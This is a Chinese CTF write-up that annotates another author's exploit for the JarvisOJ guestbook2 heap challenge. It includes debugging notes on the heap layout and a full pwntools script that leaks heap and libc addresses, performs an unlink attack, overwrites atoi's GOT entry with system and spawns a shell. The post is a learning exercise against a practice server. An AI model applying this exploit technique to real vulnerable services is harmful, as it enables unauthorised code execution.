JarvisOJ guestbooks2

在网上看到大佬的writeup,一开始懵逼了很久,有很多参数不知道是什么意思,大佬也懒得注释。经过摸爬滚打的调试,我在这给大佬的writeup写写注释,既便于自己以后回顾的时候能马上捡起来,也能帮助一些像我这样的菜鸡学习知识。

https://veritas501.space/2017/03/10/JarvisOJ_WP/

 该exp的思路是:

1、free chunk3 和chunk1(注意顺序),使得chunk1的fd指向chunk3

2、利用edit中的realloc写入能覆盖chunk1头部的字符(即在chunk0长度的基础上再写0x10个字节),这样list后就能看到fd的值,从而leak出chunk3的地址。进而通过结构体的相对位置,得出heap_base和chunk0的地址。

3、构造fake chunk1 ,通过unlink,使得chunk0的指针指向chunk0-0x18的地方(这里我感觉更好的方法是写在新建的堆上,因为刚好每个chunk大小为0x18,),这样就能实现通过写chunk0而修改chunk0-0x18的值。

4、利用edit往chunk_list中写入数据,使得chunk1的堆指针指向atoi的got地址,从而leak出该地址,进而计算libc基地址。通过libc基地址,算出system的地址。

5、最后自然是往atoi的got地址(对应chunk1的堆地址)里写system啦。然后就输入/bin/sh,让system执行该参数。

下面是我调试时看到的信息:

可以发现连个堆之间地址相差0x90字节大小,因此泄露出的chunk3的地址距离有0x1820+0x90*3=0x19d0

 可以看到该chunk_list的结构是:

presize | size

sum | number

chunk0_in_use | len_of_chunk0

ptr_of_chunk0 | chunk1_in_use

len_of_chunk1 | ptr_of_chunk1

因此ptr_of_chunk0距离heap_base应该是0x30个字节

另外,chunk0-0x18是在0x603018处,此处记录的是堆的个数。在unlink后edit(0),就是从这个地方开始写入数据的。

from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
context.arch = "amd64"
local = 0
if local:
    cn = process('./guestbook2')
    bin = ELF('./guestbook2')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    cn = remote('pwn.jarvisoj.com', 9879)
    bin = ELF('./guestbook2')
    libc = ELF('./libc.so')
def list_post():
    pass
def add_post(length,content):
    cn.sendline('2')
    cn.recvuntil('Length')
    cn.sendline(str(length))
    cn.recvuntil('Enter')
    cn.sendline(content)
def edit_post(idx,length,content):
    cn.sendline('3')
    cn.recvuntil('number')
    cn.sendline(str(idx))
    cn.recvuntil('Length')
    cn.sendline(str(length))
    cn.recvuntil('Enter')
    cn.sendline(content)
def del_post(idx):
    cn.sendline('4')
    cn.recvuntil('number')
    cn.sendline(str(idx))
chunk_list=0x00000000006020A8
test=0x00000000004012E6
#-------init-------
for i in range(5):
    add_post(0x80,str(i)*0x80)
del_post(3)
del_post(1)
pay = '0'*0x80 + 'a'*0x10
edit_post(0,0x90,pay)
#------------------
#--------leak----------
cn.sendline('1')
cn.recvuntil('a'*0x10)
leak_data = cn.recvuntil('\x0a')[:-1]
cn.recv()
leak_addr = u64(leak_data + '\x00'*(8-len(leak_data)))
heap_base = leak_addr - 0x19d0#offset
chunk0_addr = heap_base+0x30
success("leak_addr: "+hex(leak_addr))
success("heap_base: "+hex(heap_base))
success("chunk0_addr: "+hex(chunk0_addr))
#----------------------
#-------unlink--------
pay = p64(0x90) + p64(0x80) + p64(chunk0_addr-0x18) + p64(chunk0_addr-0x10) + '0'*(0x80-8*4)
pay += p64(0x80) + p64(0x90+0x90) + '1'*0x70
success(hex(len(pay)))
edit_post(0,len(pay),pay)
del_post(1)
#----------------------
#--------leak----------
pay = p64(2) + p64(1) + p64(0x100) + p64(chunk0_addr-0x18)
pay += p64(1)+p64(0x8)+p64(bin.got['atoi'])
pay += '\x00'*(0x100-len(pay))
edit_post(0,len(pay),pay)
cn.sendline('1')
cn.recvuntil('0. ')
cn.recvuntil('1. ')
atoi = cn.recvuntil('\x0a')[:-1]
cn.recv()
atoi = u64(atoi + '\x00'*(8-len(atoi)))
system = atoi - libc.symbols['atoi']+libc.symbols['system']
success("atoi: "+hex(atoi))
success("system: "+hex(system))
#----------------------
#--------hijack&getshell--------
edit_post(1,8,p64(system))
cn.sendline("$0")
#----------------------
cn.interactive()
'''
chunk_list:
0x603000:   0x0000000000000000  0x0000000000001821
0x603010:   0x0000000000000100  0x0000000000000001
0x603020:   0x0000000000000001  0x000000000000000a
0x603030:   0x0000000000604830  0x0000000000000000 <- ptr here
0x603040:   0x0000000000000000  0x0000000000000000
'''

猜你喜欢

转载自blog.csdn.net/snowleopard_bin/article/details/82834498